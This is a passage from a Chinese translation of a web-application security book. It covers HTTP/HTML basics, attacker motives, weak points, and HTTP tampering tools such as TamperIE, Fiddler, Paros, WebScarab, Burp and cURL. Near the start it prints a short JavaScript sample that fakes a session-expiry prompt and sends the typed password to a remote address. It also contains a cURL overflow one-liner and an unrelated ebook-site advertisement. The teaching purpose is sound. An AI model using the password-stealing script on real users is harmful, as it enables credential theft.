更好的是，Web开发人员已经试图解决基本协议的这个问题，方法是采用自己的验证、会话管理和授权功能，通常通过实施某种形式的验证，然后将授权/会话信息隐藏在cookie中来实现。你在第4章中将看到关于验证的内容，在第5章中将看到关于授权的内容（还介绍了会话管理），这也为攻击者创建了富饶的土壤，可一再挖掘。

1.1.6　Web客户端与HTML

根据我们对Web应用的定义，Web应用客户端是能够理解HTTP的程序，规范化的Web应用客户端是Web浏览器，它的语言是HTTP（以及其他协议）并用超文本标记语言（HTML）以及其他标记语言表现。

和HTTP类似，Web浏览器看上去似乎很简单。由于HTML等语言的扩展性，看似静态的Web内容中可以嵌入大量的功能。例如，下面这个例子中HTML嵌入了可执行的JavaScript：

<html>
<SCRIPT Language="Javascript">var password=prompt
('Your session has expired. Please enter your password to continue.','');
location.href="https://10.1.1.1/pass.cgi?passwd="+password;</SCRIPT>
</html>

将这段文本复制到一个名为test.html的文件中，并在浏览器中打开它，看看这段代码能做什么（注意，较新版本的浏览器将首先提示用户启用脚本）。许多其他的危险内容可以嵌入到HTML中；除脚本以外，ActiveX程序、远程映像“Web bugs”以及层叠样式单（CSS）文件都可以用来在客户端进行恶意的活动，使用的仅仅是我们刚才示范的简单ASCII文本。

当然，正如许多攻击者了解到的，让最终用户点击URI就能够使攻击者完全控制受害者的机器。这再次显示了URI的威力，这是从Web客户端的角度。不要忘记那些看似无辜的小字符串指向可执行代码！

最后，正如我们将在1.1.7节中描述的那样，新颖的和强大的“Web 2.0”技术（如AJAX和RSS）仅仅增加了Web客户端需要解析的输入的复杂性。Web技术的这一革新在可见的未来将继续扩大攻击面，像HTML5、WebGL和NaCL这样的更新明显指出了这一点（关于这些技术的更多信息可以在本章末尾的“参考与延伸阅读”中看到）。

可以这么说，近来Web应用安全的问题在客户端比服务器端更多。因为服务器管理员已经变得更加了解Web应用攻击并且加固了其安全态势，攻击社区重新将注意力转向客户端也就不足为奇了，因为对攻击了解较少的最终用户更易于对付。不断增加的客户端技术包括富互联网应用（Rich Internet Application，RIA）、用户生成内容（User-Generated Contents，UGC）、AJAX和移动设备“应用商城”，你会发现另一场风暴正在兴起，最终用户实际上被无数脆弱的软件所包围，使他们无从防备。我们将在第9章中谈论更多这方面的内容。

1.1.7　其他协议

HTTP似乎很简单，有创造力的人们使用HTTP基本请求/响应机制的次数是令人吃惊的。但是，HTTP并不总是应用开发问题的最佳解决方案，因此，更有创造力的人们将这个基本的协议封装在各种新动态功能之中。

最近最重要的新事物之一就是Web分布式创作和版权管理（Web-based Distributed Authoring and Versioning，WebDAV）。WebDAV在RFC 4918中定义，描述了用于远程Web服务器上的多种内容创作和管理机制。从个人角度讲，我们不认为这是一个好主意，因为一个协议在其默认形式下可以将数据写入Web服务器，除了麻烦以外不会带来什么，这是我们在本书中一再看到的主题。但是，WebDAV已经被包括从Microsoft的客户端和服务器（例如SharePoint）到开源的Alfresco等各种产品广泛采用，所以讨论其安全品质目前可能没有意义。

最近，基于XML的Web服务的概念变得流行。虽然在定义文档元素的标记的使用上与HTML很相似，但是可扩展标记语言（XML）已经演变成为更处于幕后的角色，为应用之间的通信定义模式和协议。简单对象访问协议（SOAP）是基于XML的用于Web服务之间消息和RPC风格通信的协议。我们将在第7章详细讨论Web服务的漏洞和对策。

其他一些类似协议包括异步JavaScript和XML（AJAX）以及简易信息聚合（Really Simple Syndication，RSS）。AJAX是一种新颖的Web应用编程方法，使用轻量级的JavaScript和XML技术创建了“胖客户端”应用的体验。有些人将AJAX称为“Web 2.0”的基础。这种技术示例可以参见http://www.crn.com/software/192203330。我们已经指出了客户端上可执行内容的潜在安全问题，在第9章中将再做深入介绍。

RSS是一种基于XML的轻量级机制，用于在网站和客户端之间动态地反馈变化的“新闻提要”。RSS一个最明显的例子是在Windows Vista及更新版本的桌面上提供滚动新闻标题/超链接的“Feed Headlines”工具。RSS的安全后果可能很严重，它从许多来源接受随意的HTML，并且盲目地重新发布。正如前面的讨论中提到的HTML可能携带的危险载荷，这为Web浏览器在各种场合下的安全加上了更沉重的负担。

具有广阔前景的用户生成内容（UGC）混合了目前讨论过的各种技术的风险。为了符合对新鲜素材的全天候需求，许多新的和传统的媒体组织精明地从最终用户那里得到越来越多的内容。讨论区、博客、Wiki、社交网站、照片和视频共享应用、客户评论网站等都是这种来源的例子。这种潮流大大扩展了内容创建者的队伍，从而也增加了遇到恶意攻击的机会。

AJAX、RSS和UGC代表着Web应用初始设计原理受到的广泛挑战，最初预期的是单个客户和单个网站（也就是一个域如amazon.com）之间的一种简单关系。这种安全模型有时被称为同源策略（Same-origin policy），源于Netscape Navigator浏览器的早期版本。因为Web应用努力将各种来源的更加丰富的功能集成到单个浏览器里，这种概念有时被称作混搭（Mashup）。早期浏览器中老式的同源策略开始显出老态，敏捷的程序员（双关语）正在以更多和更好的功能为名，开发避开老式安全模型的方法。新的安全机制，如HTTP“Origin”首部，为跨站验证提供了更健壮的框架，这样，攻击和对抗双方又开始了较量。

1.2　为什么攻击Web应用

黑客的动机有很多种，各种论坛多年以来对此已经进行了详细的讨论。我们不打算老调重弹，但是我们认为指出Web应用中一些吸引攻击者的特性是很重要的。理解这些特点，能够对为何防御有更清晰的认识。

·普遍存在：今天，Web应用几乎无处不在，并且持续地在公共和私有网络上快速传播。Web黑客任何时候都不会缺乏有趣的目标。

·简单的技术： Web应用攻击技术相当容易理解，甚至外行也能掌握，因为它们大部分都是基于文本的，这使得操纵应用输入相当简单。和攻击更复杂的应用或者操作系统（例如制造缓冲区溢出）所需要的知识相比，攻击Web应用简直是小菜一碟。

·匿名性：今天的互联网仍然有很多免责区域，可以很容易地发起进攻而不用害怕被跟踪。Web入侵特别容易通过（常常是无人知晓的）网上大量的开放HTTP/S代理进行。高级黑客会通过不同的代理路由各个请求，使得请求更难追踪。可以证明，这是恶意入侵爆发的主要原因，因为这种匿名性消除了黑客在现实世界中的顾忌（也就是被抓住并受到惩罚）。

·绕开防火墙：大部分典型的防火墙策略允许入站的HTTP/S（需要澄清的是，这不是防火墙的漏洞，而是管理员配置的策略）。对于攻击者来说更好的是，这种配置可能随着越来越多的应用迁移到HTTP而增加。你已经看到这样的情况，越来越多的人通过Web分享家庭照片、个人博客、PC上的一次单击“将文件夹分享到Web”功能等。

·定制代码：随着易于理解的Web开发平台如ASP.NET和LAMP（Linux/Apache/MySQL/PHP）的发展，大部分Web应用由缺乏有经验的开发人员制作（这仍然是因为Web技术易于理解，门槛相当低）。

·不成熟的安全性： HTTP甚至没有实施分离单独客户的会话。HTTP的基本验证和授权技术从流行之后已经应用多年，到今天仍在发展中。许多开发人员自己编写这些机制而且会出错（不过，随着越来越多常用的现成Web开发平台组合了经过审查的授权/会话管理，这种情况正在改变）。

·不断的变化：许多人总是不断地“接触”Web应用：开发人员、系统管理员和所有内容管理者（我们曾经看到许多公司的市场团队能够直接访问生产用的Web Farm！）。这些人当中很少受过足够的安全培训，却要求他们经常（我们曾看到每小时一次的）修改复杂的、面向互联网的Web应用。在这种变化水平之下，很难遵守简单的更改管理程序，更不用说确保安全策略的一贯执行了。

·钱：尽管.com时代遇到很多困难，但是很明显，通过HTTP的电子商务将在可见的未来支持许多赢利的业务。不出意料，最近的统计表明，和Web的成熟同步，Web入侵的动机已经从沽名钓誉转向盗取钱财。权威机关越来越多地揭露，在Web应用入侵中，出现了许多以赢利为目的、有组织的犯罪。直接闯入Web服务器、对Web最终用户的欺诈（也称钓鱼），使用拒绝服务的勒索等，当前这些问题正是Web犯罪所造成的。

1.3　谁、何时、何处

我们渴望知道Web应用是“如何”被入侵的问题，但是为了完成这个主题，下面用几句话来描述Web应用攻击中的“谁、何时、何处”。

和前面讲的“为什么攻击Web应用”一样，攻击Web应用的人不断变化。最初的Web入侵者是暑假离校的无聊少年，通过网站的损毁发动地盘争夺战。现在，Web入侵已经职业化：有组织的犯罪进入了Web入侵并且正在获得利润。

回答Web应用在“何时”和“何处”遭到攻击很简单：全天候，所有地方（甚至在内部网络！）。Web应用的最大魅力在于它们“始终向公众开放”的特性，所以很明显，它始终有着或多或少的风险。我们讨论Web应用在“什么位置”遭到攻击可能更有意义。换句话说，Web应用安全的常见弱点在哪里？

弱点

如果你猜到了Web应用遭到攻击的位置是“所有地方”，说明你已经很熟悉这个诡异问题的概念，答案也正确。下面简要概述本书将要讨论的对Web应用各个部件的各种攻击：

·Web平台： Web平台软件包括HTTP服务器软件这样的底层基础架构（例如IIS、Apache）和应用所用的开发框架（例如，ASP.NET或PHP），参见第3章。

·Web应用：攻击验证、授权、网站结构、输入验证、应用逻辑和管理界面，主要在第4章到第8章中介绍。

·数据库：通过数据库查询和查询操纵运行特权命令返回过量的数据集。最具毁灭性的攻击是SQL注入，这将在第6章中介绍。

·Web客户端：活动内容执行、客户端软件漏洞利用、跨站脚本错误以及网络欺诈。Web客户端入侵在第9章中讨论。

·传输：对“客户-服务器”通信和SSL重定向的窃听。我们在本书中对此不做特别介绍，因为这是一种普通的通信层攻击，在Web上有大量相关的文章。

·可用性：在匆忙处理更加耸人听闻的“入侵”攻击时经常被忽视，拒绝服务（DoS）是任何公共访问的Web应用将要面对的最大威胁之一。让任何资源可供公众使用是一个难题，在网络世界中更是如此，在网络世界中，匿名的攻击者可以利用分布式的僵尸军队，向任何互联网目标释放史无前例的请求风暴。本书没有专门章节讲述DoS攻击及其对策，但自始至终都将讨论容量耗尽攻击和防御性编程方法。

哪些Web应用组件最经常遭到攻击是有一些统计数字的，例如开放Web应用安全计划（OWASP）组织公布的前10名，列出了根据安全社区中“广泛意见”得出的前10个最严重的Web应用漏洞。有更多统计数字的资源是WhiteHat网站安全统计报告，包含了丰富的半自动Web安全评估业务的数据。引用WhiteHat自己的一段话，对这个报告的价值做了最好的总结：

WhiteHat发布的这个报告精选了2006年以来前10大漏洞、最重要的市场趋势和新的攻击方向。WhiteHat报告提出了当前网站漏洞的统计图，并提供WhiteHat专家分析和建议。WhiteHat报告是业界唯一的，专注于Web应用未知漏洞的报告，为企业Web站点服务。

WhiteHat报告根据WASC（Web应用安全协会）威胁分类方法对漏洞进行分类。OWASP、WhiteHat和WASC资源的链接可以在本章末尾的“参考与延伸阅读”中找到。

1.4　Web应用是如何遭到攻击的

餐前小菜已经够了，上主菜吧！

在本章中你可能已经了解到，查看和操纵图形化和原始HTTP/S的能力绝对是必须的。正常的Web安全评估没有这种能力就不可能进行。幸运的是，有许多工具启用了这一功能，而且这些工具几乎都是免费的。在本章的最后一个小节，我们将介绍一些自己最喜欢的工具，你可以用它们和我们一起探索本书余下部分中介绍的例子。下面介绍的每个工具都可以在线获取，请参考本章最后的“参考与延伸阅读”。

注意　在第10章中，可以找到一个比这里讨论的工具更全面和更高级的自动化Web应用安全扫描程序的列表。本章讨论的工具是手工监控和操纵HTTP/S的基本工具。

在这一小节我们将介绍几类HTTP分析和篡改工具：Web浏览器、浏览器扩展、HTTP代理和命令行工具。我们将从Web浏览器开始，但是要说明，这并不意味着浏览器是我们处理HTTP的首选。总体上说，我们认为浏览器扩展在HTTP分析中提供了功能性和易用性的最佳组合，但是根据场合，命令行工具可能提供更容易脚本化的功能。和大部分入侵一样，攻击者常常利用多种工具的最佳特性来完成整个工作，所以我们会尽量全面介绍，同时根据在现实世界的场景中进行的大量测试，清晰地指出我们最喜欢的工具。

1.4.1　Web浏览器

没有比浏览器再简单的工具了，有时这是进行巧妙的Web应用程序攻击所需要的唯一工具。正如我们在本章开始时看到的，使用Web应用的图形工具可以启动简单却具有毁灭性的程序，比如有效绕过登录的SQL注入（参见图1-1）。

当然，你也可以篡改浏览器地址栏中的URI文本并按下发送按钮。图1-2展示了这么做有多么容易，说明了在Foundstone的Hacme银行示例应用中将账户类型从白银账户提升为白金账户的方法。

这很容易，不是吗？

浏览器有两个基本的缺点：第一，它们自己进行幕后的URI篡改（例如，IE剥离..\，较新的版本甚至拦截跨站脚本）；第二，你不能从浏览器地址栏改变PUT请求的内容（当然，你可以在本地保存页面，编辑并且重新提交，但是谁愿意在分析一个大应用时进行这样重复无数次呢？）

对这个问题的简单解决方案正是我们接下来要讨论的，基于浏览器扩展的HTTP篡改工具。

图1-2　使用基本的Web浏览器来攻击Foundstone的Hacme银行应用。简单的垂直提升攻击以圆圈标出

1.4.2　浏览器扩展

浏览器扩展是流行浏览器的轻量级附加软件，能在浏览器界面中进行HTTP分析和篡改。它们可能是进行手工HTTP/S篡改的首选方法。浏览器扩展的主要优点包括：

·与浏览器集成：集成使分析感觉更自然，从应用的实际用户角度出发。集成还使配置更容易；单独的HTTP代理一般要求单独的配置实用程序，这种程序必须切换为开或者关的状态。

·透明性：扩展简单地运行于浏览器基本功能之上，这使它们能够无缝地处理任何浏览器理解的数据。这对于HTTPS连接特别重要，这种连接通常需要依靠单个实用程序的独立代理。

接下来我们将介绍目前可用的浏览器扩展：Internet Explorer（IE）扩展和FireFox扩展。

Internet Explorer扩展

下面是用于HTTP分析和篡改的IE扩展，是按照我们的偏好排列的，最受推荐的列在最前面。

TamperIE： TamperIE是来自Bayden Systems的一个浏览器助手对象（BHO）。它实际上很简单，仅有篡改GET和POST的两个选项。默认情况下，TamperIE仅篡改POST，当你在浏览中遇到POST时（比如表单提交或者购物车订单），TamperIE自动拦截提交，并且显示图1-3所示的屏幕。在这个屏幕中，HTTP请求的所有特性都可以修改。POST请求的显示模式有：“美化”和“原始”，在这两种模式下都可以编辑。图1-3显示了一次简单的攻击，HTTP cookie中一件商品的价格在提交订购之前被修改。这个示例由Bayden Systems的“沙箱”Web订购应用提供（链接参见本章最后的“参考与延伸阅读”）。

TamperIE可能是手工Web应用入侵中你真正需要的唯一工具。它的GET篡改功能避开了浏览器强加的任何限制，而PUT功能允许你篡改浏览器地址栏中无法访问的HTTP请求体中的数据（是啊，你当然可以将页面保存到本地并且重新提交，但是这太老套了！）。我们喜欢这种很好的基础工具，它不需要许多诱人的附加特色和不相关的功能。

图1-3　TamperIE拦截一个POST请求并且让攻击者将订单价格从1995美元改成5美元。谁说Web入侵无利可图

IEWatch： IEWatch是简单而且功能完备的HTTP监控客户端，作为一个资源管理器栏集成到IE中。装入后执行HTTP或者HTML分析时，它占据浏览器窗口的下部，但是可以调整位置。IEWatch实时揭示HTTP和HTTPS事务的所有方面。只要双击输出日志中的对象，包括首部、表单、cookie等，所有东西都能很容易进行详尽的分析。例如，双击IEWatch记录的一个cookie将会弹出一个新的窗口，显示其中的每个参数和值。非常有用！这个极好的工具唯一令人失望的是它只能“看”，而不允许篡改。图1-4显示IEWatch正在分析一系列HTTP请求/响应。

IE Headers： Jonas Blunck的IE Headers提供与IEWatch相同的基本功能，但是视觉上的吸引力稍逊。和IEWatch类似，IE Headers也是一个位于浏览器底部的资源管理器工具栏，在你网上冲浪时显示IE发出和接收的HTTP首部。它不允许数据篡改。

图1-4　IEWatch在一个流行网站上进行HTTP分析

Firefox扩展

下面是用于HTTP分析和篡改的Firefox扩展，是按照我们的偏好排列的，最受推荐的列在最前面。

LiveHTTPHeaders： Daniel Savard和Nikolas Coukouma开发的这个Firefox插件将原始的HTTP和HTTPS转储到浏览器界面中一个单独的边栏中，还可以选择打开一个单独的窗口（从“工具”菜单中启动时）。LiveHTTPHeaders还在Firefox的工具|页面信息功能中添加了一个“Header”（首部）选项卡。这是我们用于HTTP篡改的首选浏览器扩展。

该工具显示每个请求/响应的原始HTTP/S，还允许通过Replay功能进行篡改。简单地选择你希望重放的已记录HTTP/S请求，按下Replay按钮（仅当从工具菜单中启动LiveHTTPHeaders时可用），选中的请求被显示在单独的窗口中，整个请求都可以编辑。攻击者可以编辑请求中的任何部分，然后按下Replay发出新请求。图1-5显示LiveHTTPHeaders正在重放一个POST请求，其中User-Agent（用户代理）首部被改为一个普通的字符串。这种简单的修改有时用来绕过Web应用验证，我们在第5章中将会展示说明。

图1-5　Firefox LiveHTTPHeaders允许通过Replay功能篡改HTTP数据

TamperData：这是Adam Judson编写的一个Firefox扩展，可用于跟踪和修改HTTP和HTTPS请求，包括首部和POST参数。它可以作为边栏或者单独窗口装入，在两个位置都可以切换篡改功能的开关。一旦设置为Tamper（篡改）模式，Firefox在每次请求时会显示一个对话框，提供对请求的“篡改”、“提交”或者“中止”。选择Tamper（篡改），用户会看到图1-6所示的屏幕。HTTP/S请求的所有特性都可以在这个屏幕中操纵。在图1-6的例子中，我们将一个HTTPS POST值改为“admin”，这是另一种常见的绕开Web应用安全的花招，我们在第5章中将会详加讨论。

图1-6　使用TamperData修改POST请求，将一个值改为“admin”

虽然提供的基本功能相同，但是我们对LiveHTTPHeaders更喜爱一点，因为它提供更“原始”的编辑界面。当然，这纯粹是个人的偏好；这两种工具在我们的测试中功能上的表现相同。

Modify Headers：另一个用于修改HTTP/S请求的Firefox扩展，由Gareth Hunt创建。Modify Headers对于持续的修改比请求之前的操纵更适用。例如，如果你希望持续修改浏览器的User-Agent串或者过滤cookie，Modify Headers比TamperData更合适，因为不需要辛辛苦苦地应付许多弹出窗口并且修改每个请求。这两个工具可以配合使用：TamperData用于通过请求前试验来确定所要设置的值，然后使用Modify Headers在整个会话中持续发送这些值，从而使攻击自动化。

1.4.3　HTTP代理

HTTP代理是拦截HTTP/S通信，使用户能够在提交之前分析或者篡改数据的独立程序，它们通过运行一个本地的HTTP服务并重定向本地Web客户端来实现这一功能（通常是将客户端的代理配置设置为本地TCP端口，如8888）。本地HTTP服务（代理）作为“中间人”，并且允许对经过它的HTTP会话进行分析和篡改。

HTTP代理使用起来比浏览器扩展更笨重些，因为它们必须打断HTTP的自然流向。对于HTTPS（特别是具有客户端证书的）来说这个问题更明显，有些代理本身无法处理。前面我们已经了解到，浏览器扩展不需要担心这一点。

从正面看，HTTP代理能够分析和篡改非浏览器的HTTP客户端，这显然是基于浏览器扩展的工具做不到的。

总体上看，我们更喜欢基于浏览器的工具，因为它们通常更易用，并且让你更接近于应用的自然流向。但是，接下来将精选当前可用的HTTP代理，也是按照我们的偏好排列，最受推荐的列在最前面。

提示　试试Bayden Systems的IEToys，它包含了一个Proxy Toggle附加软件，对于使用HTTP代理时简单地切换配置很有价值。

Paros Proxy

Paros Proxy是一个免费的工具套件，包含了HTTP代理、Web漏洞扫描程序和网站爬虫（也称蜘蛛）模块。这个套件用Java编写，所以为了运行，必须安装http://java.sun.com的Java运行时引擎（JRE）。（Sun还提供了许多包含JRE的开发人员工具箱，不过它们还包含运行类似Paros Proxy的Java程序所不需要的附加组件）。Paros已经存在了一段时间，理所当然地成为最流行的Web应用安全评估工具之一。

我们现在主要关心的是Paros的HTTP代理，这是一个令人满意的分析工具，透明地处理HTTPS并且提供简单的“安全专家”使用模式，带有一个简单的请求及响应“陷阱”，能够很容易地篡改任一方向的HTTP事务。图1-7显示Paros篡改Bayden System示例购物应用中的“Cost”（价格）域（这个域非常诱人）。

图1-7　Paros Proxy捕捉一个HTTP POST请求，允许篡改隐含的“Cost”域

在HTTP代理中，我们认为Paros达到或者接近最高的水平，这是因为它有一系列简洁和健壮的功能，包括支持客户端证书的HTTPS拦截功能。当然，这种HTTP拦截由于注入了代理的“中间人”证书，必然会弹出恼人的“验证这个证书”窗口，但是在当前的HTTP代理技术下，这是意料之中的事情。

OWASP WebScarab

可能没有一种工具能够像OWASP的WebScarab这样具有多样化的功能，它包含了HTTP代理、爬虫、会话ID分析、自动化脚本接口、Fuzzer、用于所有流行Web格式（Base64、MD5等）的编码器/解码器工具，以及Web服务描述语言（WSDL）和SOAP解析程序等。它得到GNU通用公共许可协议第2版的授权。和Paros类似，WebScarab用Java编写，需要安装JRE。

WebScarab的HTTP代理具有一般的功能（包括HTTPS拦截，但是也有类似Paros的证书警告），还提供了多种附加的功能，例如SSL客户端证书支持、16进制或者URL编码参数的实时解码、内建会话ID分析、一次点击的“结束会话”等改进功能。图1-8显示了WebScarab篡改本章中一再提到的隐含的“Cost”域。

WebScarab在基本代理功能上可以与Paros相提并论，而且还为技术型用户提供了更多特性以便深入探索。但我们建议初级用户使用Paros，因为它更简洁。

ProxMon：对于那些寻求WebScarab的红色“简易”按钮的人们来说，可以考虑ProxMon，这是一个iSEC Partners在2006年发行的免费工具，预编译的二进制代码可以用于基于Unix的和Windows平台。它分析WebScarab的Temporary或者Save目录，检查所有事务日志，报告安全相关事件，包括设置cookie的重要变量、发送cookie、查询串以及在不同网站上传递参数，还能根据自身包含的库进行漏洞检查。有一些可选的主动测试（-o）能够连接到目标主机，并且执行诸如上传文件等操作。ProxMon的主要目的是自动化完成Web应用渗透测试中乏味的部分，减少工作量、改进一致性，并且减少错误。如果你已经使用了类似WebScarab的工具，那么可以试试ProxMon或许对你的工作有所帮助。

图1-8　OWASP WebScarab的HTTP代理提供了参数的实时解码/编码，图中的例子使用隐含的“Cost”域

Fiddler

这个方便的工具是Eric Lawrence和Microsoft发行的免费软件，是我们见过的最好的非Java免费HTTP代理。对于操纵HTTP和HTTPS请求它非常在行。Fiddler只能运行在Windows上，并且要求安装Microsoft的.NET Framework 2.0或者更高版本。

Fiddler的界面分为三个子窗口：左边是Fiddler拦截的会话列表，右上方的窗口包含请求的详细信息，下面的窗口跟踪响应数据。在外部浏览器中像往常一样浏览Web时，Fiddler在左边的窗口记录每个请求和响应（两种数据都作为一个会话包含在同一行里）。点击一个会话时，右边的窗口显示请求和响应细节。

注意　Fiddler自动配置IE使用它的本地代理，其他浏览器如Firefox必须手工配置为localhost:8888。

为了篡改请求和响应，需要启用Fiddler的“断点”功能，这个功能可以用Rules（规则）菜单下的Automatic Breakpoints（自动断点）项访问。断点大致类似于Paros的“陷阱”和WebScarab的“拦截”功能。断点在默认情况下是禁用的，可以设置为在每个请求之前或者每个响应之后自动出现。我们一般设置为“请求之前”，这将导致浏览器在每次请求之前暂停，这时Fiddler会话中的最后一项将被加亮为红色。选择这个会话，右边的请求和响应窗口之间出现一个鲜红的工具栏。这个工具栏上有两个按钮，控制会话的后续流向：“break after response”（响应后中断）或者“run to completion”（运行到结束）。

现在你可以篡改请求中的任何数据，然后再按下这些按钮提交操纵过的请求。图1-9显示Fiddler篡改了老地方——Bayden Systems的“沙箱”在线购物应用中的“Cost”域。我们再次得到了订购产品的“特别优惠”。

总地来说，我们也喜欢Fiddler功能具有智能性，比如限制本地代理仅为出站通信（默认情况下）。Fiddler还包含对自动标志和编辑HTTP请求和响应的脚本支持；可以编写.NET代码在HTTP管道中调整请求和响应，可以编写和装入自己的定制检查器对象（使用任何.NET语言），只需要简单地将编译好的程序集.DLL放到\Fiddler\Inspectors文件夹并重启Fiddler就可以了。如果你想要一个无Java的HTTP/S代理，Fiddler应该是一流的选择。

图1-9　Fiddler通过篡改HTTP POST数据削减了价格。我们再次将价格从1995美元降到95美元

Burp Intruder

Burp Intruder是基于Java的HTTP代理，具有许多Web应用安全测试功能。一个较慢、功能较少的演示版本可以作为Burp Suite的一部分免费得到。单独的专业版价格为99英镑。

Burp Intruder的概念性模型对于初级用户来说不是很直观，但是如果你愿意花点精力去领会，它确实提供了一些有趣的功能。它的主要功能是根据给定的请求结构重复多种攻击。请求结构实际上必须通过应用的人工分析来收集。一旦在Burp Intruder中配置了请求结构，可以在Positions（位置）选项卡中确定各种攻击载荷的插入点，然后必须转到Payloads（载荷）选项卡配置载荷的内容。Burp Intruder提供各种打包的载荷，包括溢出测试载荷、它能重复地增加字符块和非法的Unicode编码输入。

设置好了位置和载荷，就可以启动Burp Intruder，它就会猛烈地开始重复每个攻击，在每个配置好的位置插入载荷并且记录响应。图1-10显示了Burp Intruder溢出测试的结果。

Burp Intruder的Ignore Response（忽略响应）模式对于模糊测试（Fuzz-testing）和拒绝服务测试很有帮助，但是它不是很适合于更加精确的、自定义的插入载荷工作。

图1-10　使用Burp Intruder进行溢出测试的结果。注意，响应从HTTP 404转变为HTTP 414，“Too Long”暗示着应用中存在某些内部限制

Google Ratproxy

Google于2008年7月宣布发行第一个Web安全工具，在安全社区掀起了巨浪。这个工具据说在发行之前在Google内部使用，很多人预期它将提供高级的Web安全审计功能，与Google公司的地位相当。之后，Ratproxy成为了前面提到的工具的固定附加程序。和目前讨论到的大部分其他代理工具类似，它是为有经验的安全专家设计的，需要对Web应用安全问题有着充分的理解，能有效地使用它并且理解其输出。

Ratproxy是一个命令行工具，可以在Unix/Linux环境下运行，包括较新的基于Unix的Mac OS。要在Windows下运行Ratproxy，必须从Unix/Linux模拟环境（如Cygwin）中运行（Ratproxy的在线文档中有一个链接，指向在Cygwin下运行该工具的指南）。

部署完毕后，Ratproxy像之前讨论过的其他代理一样运行：启动（选择合适的冗长模式并选择入侵级别）、配置浏览器指向Ratproxy监听端口（默认是localhost:8080），并通过浏览器使用目标网站试验所有可能的功能。Ratproxy将执行测试并且将结果记录到用户定义的日志文件。此后，可以使用内含的ratproxy-report.sh脚本从结果日志文件中生成一个HTML报告。图1-11中显示了Ratproxy正在检查一个网站。

注意　Ratproxy的作者不建议通过Ratproxy使用Web爬虫或者相似的工具，因此Ratproxy只限于手工测试。

提示　将Windows防火墙设置为允许Ratproxy正确运行（默认情况下，在较新的Windows版本中访问会被阻止）。还有，可能需要经常清除浏览器缓存，确保浏览器通过Ratproxy路由请求，而不是简单地从本地缓存中取出。

图1-11　在Windows 7上用Cygwin运行的Google ratproxy检查一个网站

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

1.4.4　命令行工具

下面是几个我们最喜爱的命令行工具，这些工具有利于编写脚本和重复的攻击。

cURL

cURL是一个免费的多平台命令行工具，用于操纵HTTP和HTTPS。在编写脚本进行反复分析时，这个工具特别强大，我们将在第5章和第6章中演示。下面是一个用Perl编写、在cURL上运行的简单输入溢出测试例程：

$ curl https://website/login.php?user='perl -e 'print "a" x 500''

netcat

网络入侵的“瑞士军刀”netcat对于许多任务都是一流的。从它的名称中可以猜出，它和Unix用于输出文件内容的cat实用程序很类似，关键的不同是netcat为网络连接执行相同的功能：将网络通信的原始输入输出转储到命令行。本章前面1.1.3节已经展示了一个简单的示例，示范了使用netcat的一个简单HTTP请求。

提示　文本文件输出可以使用重定向字符（<）输入到netcat连接中，如nc-vv server 80<file.txt。我们将在第2章中介绍在Unix/Linux平台上制作netcat脚本的一些简单方法。

netcat只是一个原始的网络工具，尽管简单，但是在用于Web应用工作时仍然需要许多人工操作。例如，如果目标服务器使用HTTPS，就需要像SSLProxy、stunnel或者openssl这样的工具在netcat之前代理这些协议（这些实用程序的链接参见本章的“参考与延伸阅读”）。我们在本章中已经看到，很多工具自动地处理基本的HTTP/S内务工作，而在使用netcat时需要手工干预。一般来说，对于Web应用安全测试我们建议使用本章中的其他工具。

1.4.5　较老的工具

HTTP入侵工具来来去去，涨涨落落。过去我们曾经享用过的一些工具包括Achilles、@Stake WebProxy、Form Scalpel、WASAT（Web验证安全性分析工具）以及WebSleuth。这些工具的较早版本可能仍然在互联网的档案中，但是一般来说，越现代的工具越好，我们建议首先参考这些新工具。

1.5　小结

在本章中，我们从5万英尺的高空俯瞰了Web应用工具和技术。本书余下部分将瞄准细节，系好你的安全带，出发了。

1.6　参考与延伸阅读

第2章　剖析

剖析是用于研究和精确描述网站结构和应用工作方式的策略，是一个非常重要却常被忽视的Web入侵方向。最有效的攻击是基于缜密的准备工作，尽可能地说明应用的内部工作原理，包括网站的所有网页、应用和输入/输出控制结构。

剖析过程的勤奋和严格以及投入的时间常常与整个网站上识别出的安全性问题的质量直接相关，并且常常能区分出发现“随手可摘的果实”的“脚本小孩（script kiddle）”评估（如简单的SQL注入或者缓冲区溢出攻击）和真正揭露应用核心业务逻辑的渗透之间的差别。

Web剖析中使用许多工具和技术，但是在阅读本章之后，你将能走上专家之路。我们对剖析的讨论分为两部分：

·基础架构剖析

·应用剖析

我们选择这种组织结构是因为每种类型的剖析的想法、方法和结果都有所不同。基础架构剖析关注Web应用相对不变的“现有”组件（我们宽泛地使用“现有”这个词来包含所有形式的通用重用软件，包括免费软件、开源软件和商业软件）。通常，这些组件中的漏洞容易识别并且加以利用。另一方面，应用剖析处理单独的高度定制Web应用的独特结构、逻辑和功能。应用漏洞可能很微妙，需要花费大量的研究才能发现和利用。当然，我们对应用剖析的讨论也将占本章的很大部分。

本章最后将简短讨论对常见剖析策略的一般对策。

2.1　基础架构剖析

Web应用需要大量基础架构的支持——Web服务器硬件/软件、DNS项目、网络设备、负载平衡器等。因此，任何好的安全评估方法的第一步是识别和分析应用所依赖的低级基础架构。

2.1.1　足迹法和扫描：定义范围

最早的《黑客大曝光》图书介绍了足迹法（Footprinting）的概念——使用各种基于互联网的研究方法确定目标应用或组织的范围。传统上有许多工具和技术用于这项任务，包括：

·互联网注册研究

·DNS询问

·总体组织研究

最早的《黑客大曝光》也介绍了基本基础架构侦察技术，如：

·服务器发现（Ping扫射）

·网络服务识别（端口扫描）

因为大部分基于万维网的应用都在公认的端口——用于HTTP的TCP 80及/或用于HTTPS/SSL/TLS的TCP 443上操作，这些技术一般在确定了基本的目标URL之后就不需要了。更细致的攻击者可能会使用一个常用Web服务器端口列表对目标IP范围进行端口扫描，寻找运行于不常用的端口上的Web应用。

提示　对于基于Web的管理端口的常见攻击和对策的讨论参见第8章。

警告　不要忽视端口扫描，许多Web应用通过运行于Web服务器或者其他DMZ中与Web应用服务器相邻的服务器上的不恰当服务遭到入侵。

这些内容与Web应用安全只有部分相关，我们建议对这些内容感兴趣的读者参考《黑客大曝光》丛书中的其他图书（更多的信息参见本章结尾处的“参考与延伸阅读”），我们将转向与Web更直接相关的基础架构剖析方面。

2.1.2　基本的标志获取

